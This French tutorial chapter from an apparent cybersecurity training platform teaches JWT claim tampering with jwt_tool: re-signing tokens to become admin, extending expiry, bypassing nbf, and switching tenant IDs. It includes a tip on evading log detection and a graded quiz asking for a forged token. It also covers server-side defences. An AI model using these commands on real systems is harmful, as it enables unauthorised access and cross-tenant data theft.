Manipulation des Claims et Attaques Temporelles

Chirurgie de Token : manipuler les claims JWT pour l'escalade de privilèges

Escalade de Privilèges Manipulation de Token Contournement Temporel

Ce que vous allez découvrir

🎯 Pourquoi c'est important

Une fois que vous comprenez comment manipuler les claims JWT, vous détenez les clés d'une des voies les plus directes vers l'escalade de privilèges dans les applications web modernes. Les tokens JWT transportent l'identité et les permissions de l'utilisateur sous forme de données JSON lisibles—et si vous pouvez modifier ces données et re-signer le token, vous pouvez devenir n'importe quel utilisateur avec n'importe quelles permissions. C'est exactement ainsi que les professionnels de la sécurité testent les failles d'autorisation dans les applications réelles.

🔍 Ce que vous allez apprendre

Vous maîtriserez l'art de la chirurgie de token JWT—modifier systématiquement les claims utilisateur comme les rôles et permissions, contourner les contrôles de sécurité temporels en manipulant les dates d'expiration, et forger des tokens qui accordent un accès administrateur. Ce sont les techniques exactes que les pentesters utilisent pour démontrer des vulnérabilités d'autorisation critiques dans les systèmes de production.

🚀 Votre première victoire

En 5 minutes, vous prendrez un token d'utilisateur normal et le transformerez en token admin en utilisant le mode tamper interactif de jwt_tool. Vous verrez exactement comment la manipulation des claims fonctionne en pratique et comprendrez pourquoi une validation côté serveur appropriée est critique pour la sécurité des applications.

🔧 Essayez maintenant

Effectuons une chirurgie de token sur ce JWT exemple pour transformer un utilisateur normal en admin. C'est le processus exact que les consultants en sécurité utilisent pour tester les contrôles d'autorisation.

# Token exemple avec rôle 'user' que nous allons escalader à 'admin'
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiJoZG5hX3VzZXJfMTIzIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY0MDk5ODgwMH0.\
hackerdna_signature"

# Lancez jwt_tool en mode tamper (édition interactive de token)
python3 jwt_tool.py $TOKEN -T

# JWT_tool lance d'abord le mode tamper interactif
# Vous verrez une interface comme celle-ci :
#
# Valeurs de l'en-tête du token :
# [1] alg = "HS256"
# [2] typ = "JWT"
# [3] *AJOUTER UNE VALEUR*
# [4] *SUPPRIMER UNE VALEUR*
# [0] Continuer à l'étape suivante
#
# Sélectionnez [0] pour continuer vers la section payload
#
# Valeurs du payload du token :
# [1] sub = "hdna_user_123"
# [2] name = "John Doe"
# [3] role = "user"          ← Sélectionnez celui-ci
# [4] iat = 1640995200
# [5] exp = 1640998800        ← Et celui-ci
# [6] *AJOUTER UNE VALEUR*
# [7] *SUPPRIMER UNE VALEUR*
# [0] Continuer à l'étape suivante

# Modifier role : user → admin
# Étendre l'expiration : 1640998800 → 1672534800 (1 an plus tard)

Vous verrez : L'interface interactive de JWT_tool vous permet de modifier n'importe quel claim avec une précision chirurgicale, puis re-signe automatiquement le token—vous donnant un token admin forgé que les applications accepteront.

Comprendre les claims JWT

Les claims JWT sont des paires clé-valeur qui transportent l'identité et les permissions de l'utilisateur—si vous pouvez les modifier et re-signer le token, vous contrôlez ce que l'application croit sur l'utilisateur

La puissance de la manipulation des claims JWT réside dans la compréhension que les tokens transportent leurs données d'autorisation avec eux. Contrairement à l'authentification basée sur les sessions où les permissions sont stockées côté serveur, les JWT intègrent les rôles et permissions utilisateur directement dans le token. Cette conception les rend incroyablement rapides et évolutifs—mais signifie aussi que quiconque peut forger des tokens valides peut s'accorder n'importe quelles permissions.

Claims standard (RFC 7519)

Claims de la spécification JWT officielle

"sub": "hdna_user_123"     // ID utilisateur
"iss": "auth.hackerdna.com"  // Émetteur
"aud": "api.hackerdna.com"   // Audience
"exp": 1640998800     // Expiration
"nbf": 1640995200     // Pas avant
"iat": 1640995200     // Émis à
"jti": "abc123"       // ID JWT

Claims personnalisés

Permissions définies par l'application

"role": "admin"        // Rôle utilisateur
"permissions": ["read", "write"]
"department": "finance" // Portée d'accès
"is_premium": true     // Flags de fonctionnalité
"api_quota": 10000     // Limites de taux
"tenant_id": "company" // Multi-tenant

Cibles d'attaque

Cibles de manipulation à fort impact

// Escalade de privilèges
"role": "user" → "admin"
"is_admin": false → true
"permissions": [] → ["*"]

// Persistance
"exp": [actuel] → [futur]
"sub": "user" → "admin"

Manipulation de token professionnelle avec JWT_Tool

Le mode tamper de JWT_tool fournit le moyen le plus efficace d'effectuer des modifications chirurgicales sur les tokens JWT. Les professionnels de la sécurité du monde entier utilisent cet outil pour les tests d'autorisation car il automatise le travail cryptographique complexe tout en vous donnant un contrôle précis sur chaque claim.

Mode tamper interactif

Le mode tamper vous offre une interface conviviale pour modifier n'importe quelle partie d'un token JWT, gérant automatiquement l'encodage base64 et la génération de signature.

Chirurgie de token étape par étape

# Étape 1 : Lancez le mode tamper avec votre token cible
python3 jwt_tool.py [VOTRE_TOKEN] -T

# Étape 2 : JWT_tool lance le mode tamper interactif
# Vous verrez une interface comme celle-ci :
#
# =============================================
# JWT Original :
# [affiche le token original]
# =============================================
#
# jwttool_[id] - Token modifié :
# [affiche l'état actuel des modifications]
# =============================================
#
# Veuillez sélectionner un numéro de champ du payload à modifier :
# [1] sub
# [2] name
# [3] role
# [4] department
# [5] exp
# [6] Ajouter un nouveau claim
# [0] Continuer à l'étape suivante

# Étape 3 : Faites vos modifications (exemple de session)
# Sélectionnez l'option 3 pour modifier role
# Valeur actuelle de role est : user
# Veuillez entrer la nouvelle valeur et appuyez sur ENTRÉE
# > admin

# Sélectionnez l'option 5 pour modifier l'expiration
# Valeur actuelle de exp est : 1640998800
# Veuillez entrer la nouvelle valeur et appuyez sur ENTRÉE
# > 1672534800  # (1 an plus tard)

# Étape 4 : Choisissez la méthode de signature si le secret est connu
# Sélectionnez [S] Signer le token avec une clé HS256
# Entrez la clé : [VOTRE_SECRET_CONNU]

Cette approche interactive vous permet de voir exactement ce que vous changez et de vérifier les résultats—parfait pour l'apprentissage et les tests précis.

Forge de token en ligne de commande

Pour les tests automatisés et les attaques répétées, les paramètres en ligne de commande vous permettent de modifier des claims spécifiques sans invites interactives.

Commandes de modification directe de claims

# Escalade de privilèges : Changer le rôle en admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin

# Manipulation temporelle : Étendre l'expiration d'1 an (31536000 secondes)
# Extraire l'expiration actuelle du token
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2)
CURRENT_EXP=$(echo "$PAYLOAD====" | base64 -d 2>/dev/null | jq -r '.exp // empty')
NEW_EXP=$((CURRENT_EXP + 31536000))
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXP

# Attaque multi-claims : Changer le rôle ET étendre l'expiration
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin -pc exp -pv 1672534800

# Escalade de permissions : Ajouter un tableau de permissions admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc permissions -pv '["read","write","delete","admin"]'

# Usurpation d'utilisateur : Changer l'ID sujet pour cibler l'utilisateur admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc sub -pv "hdna_admin_001"

Ces commandes vous donnent une précision chirurgicale pour des scénarios d'attaque spécifiques tout en maintenant la vitesse nécessaire pour des tests complets.

Techniques d'attaque temporelles

Les claims temporels dans les JWT contrôlent quand les tokens sont valides et qui peut les utiliser. Manipuler ces claims vous permet d'étendre la durée de vie des tokens, de contourner les délais d'activation, et de créer un accès persistant—des techniques critiques pour maintenir un accès à long terme lors des évaluations de sécurité.

Manipulation de l'expiration (exp)

Le claim 'exp' détermine quand un token expire. En étendant ce temps loin dans le futur, vous créez un accès persistant qui survit aux cycles normaux de rafraîchissement de token.

Extension stratégique de l'expiration

# Vérifier le temps d'expiration actuel
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .exp
# Sortie : 1640998800 (expire dans 1 heure)

# Convertir en format lisible (macOS/BSD)
date -r 1640998800
# Sortie : Ven Déc 31 15:00:00 PST 2021
# Ou pour Linux : date -d @1640998800

# Étendre d'1 an (31536000 secondes)
NEW_EXP=$((1640998800 + 31536000))
echo $NEW_EXP  # 1672534800

# Forger le token avec l'expiration étendue
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXP

Conseil Pro : extensions réalistes

Définissez des temps d'expiration qui semblent réalistes pour éviter la détection. Au lieu de 100 ans, utilisez 30-90 jours—assez long pour un accès persistant mais pas évidemment malveillant dans les logs de sécurité.

Contournement de Not Before (nbf)

Le claim 'nbf' (pas avant) empêche les tokens d'être utilisés avant un temps spécifique. Les applications l'utilisent pour un accès planifié ou une activation différée—mais vous pouvez le contourner en modifiant l'horodatage.

Attaque d'accès anticipé

# Scénario : Token valide à partir du 1er Janvier 2025
# nbf original : 1735689600 (1er Jan 2025 00:00:00 UTC)
# Heure actuelle : 1640995200 (31 Déc 2021)

# Vérifier l'heure actuelle en timestamp Unix
date +%s
# Sortie : 1640995200 (avant nbf, donc token rejeté)

# Modifier nbf à l'heure actuelle ou avant pour un accès immédiat
CURRENT_TIME=$(date +%s)
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv $CURRENT_TIME

# Ou supprimer entièrement le claim nbf
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv null

Scénarios d'attaque réels

Ces scénarios représentent des patterns d'attaque réels que les professionnels de la sécurité utilisent pour tester les contrôles d'autorisation dans les applications de production. Chacun démontre un aspect différent de la manipulation des claims et son impact réel.

Scénario 1 : l'escalade de rôle classique (5 minutes)

L'attaque la plus courante et à plus fort impact : convertir un token d'utilisateur normal en token administrateur en modifiant le claim role.

Exécution de l'attaque

# Token original (utilisateur normal)
# Payload : {"sub": "hdna_user_789", "name": "John Doe", "role": "user"}

# Étape 1 : Identifier la structure du claim role
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .

# Étape 2 : Modifier role de 'user' à 'admin'
python3 jwt_tool.py $TOKEN -S hs256 -p "secret_decouvert" -I -pc role -pv admin

# Étape 3 : Tester le token forgé contre les endpoints admin
curl -H "Authorization: Bearer [TOKEN_FORGE]" https://<target>/admin/users

# Résultat attendu : Accès accordé aux fonctions administratives

Évaluation de l'impact

Accès administratif complet à l'application, incluant la gestion des utilisateurs, la configuration système et l'accès aux données sensibles—le même impact obtenu par des attaques d'escalade de privilèges réussies lors d'évaluations de sécurité réelles.

Scénario 2 : accès aux données multi-tenant (10 minutes)

Dans les applications multi-tenant, les tokens JWT contiennent souvent des claims tenant_id qui contrôlent les données de quelle organisation les utilisateurs peuvent accéder. Modifier ce claim accorde l'accès aux données d'autres organisations.

Attaque cross-tenant

# Token original (utilisateur HackerDNA Labs)
# Payload : {"sub": "hdna_user_456", "tenant_id": "hackerdna_labs", "role": "admin"}

# Étape 1 : Énumérer les autres IDs tenant (reconnaissance)
# Méthodes : énumération de sous-domaines, messages d'erreur, informations publiques

# Étape 2 : Modifier tenant_id vers l'organisation cible
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc tenant_id -pv hdna_enterprise

# Étape 3 : Accéder aux données de l'organisation cible
curl -H "Authorization: Bearer [TOKEN_FORGE]" https://<target>/api/customers

# Résultat : Accès à la base de données clients de HDNA Enterprise avec les identifiants HackerDNA Labs

Impact business critique

Ceci représente une fuite de données catastrophique où une organisation peut accéder aux données sensibles de ses concurrents—une violation qui peut entraîner des pénalités réglementaires, des poursuites judiciaires et une perte totale de la confiance des clients.

Stratégies de détection et de défense

Comprendre les techniques d'attaque vous permet d'implémenter des défenses appropriées. Voici comment les professionnels de la sécurité protègent les applications contre les attaques de manipulation de claims.

Architecture de validation côté serveur

Pattern d'implémentation sécurisée

// SÉCURISÉ : Vérification des permissions côté serveur
function authorizeUserAction(jwt_token, required_permission) {
  // Étape 1 : Vérifier la signature JWT et l'expiration
  const decoded = jwt.verify(token, SECRET_KEY, {algorithms: ['RS256']});

  // Étape 2 : Récupérer les permissions ACTUELLES de l'utilisateur depuis la BDD
  const user_permissions = database.getUserPermissions(decoded.sub);

  // Étape 3 : Vérifier la permission côté serveur (ne jamais faire confiance aux claims JWT)
  if (!user_permissions.includes(required_permission)) {
    throw new Error('Permissions insuffisantes');
  }

  // Étape 4 : Valider les règles métier (isolation tenant, etc.)
  if (decoded.tenant_id !== user.tenant_id) {
    throw new Error('Accès cross-tenant refusé');
  }

  return true;
}

// VULNÉRABLE : Faire confiance aux claims JWT sans vérification
function insecureAuthorization(jwt_token) {
  const decoded = jwt.decode(token);  // Pas de vérification de signature !
  if (decoded.role === 'admin') {     // Faire confiance aux données fournies par le client !
    return grantAdminAccess();
  }
}

Le principe clé : Les tokens JWT doivent être utilisés pour l'authentification (qui vous êtes) mais jamais pour l'autorisation (ce que vous pouvez faire) sans validation côté serveur.

🎯 Votre expertise en manipulation de claims est complète !

Vous comprenez maintenant la manipulation des claims JWT comme un expert en sécurité. Vous pouvez effectuer des modifications chirurgicales de token pour escalader les privilèges, contourner les contrôles temporels, et forger des tokens qui accordent un accès non autorisé—plus vous savez comment implémenter des défenses côté serveur appropriées qui préviennent ces attaques.

Chirurgie de Token Escalade de Privilèges Contournement Temporel Tests d'Autorisation

Prêt à appliquer des techniques de sécurité JWT avancées

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Vous avez ce token JWT valide : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoZG5hX3VzZXJfNzg5IiwibmFtZSI6IkphbmUgRG9lIiwicm9sZSI6InVzZXIiLCJleHAiOjE2NDA5OTUyMDAsImlhdCI6MTY0MDk5MTYwMH0.Kcec1vjPRKNL95pUM8Cv-4Y8NdLM6tJroWrpka5oiHk - Le secret est 'hackerdna-secret'. Modifiez ce token pour changer le rôle de 'user' à 'admin' et prolongez l'expiration d'1 an (ajoutez 31536000 secondes). Fournissez le token modifié complet :

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte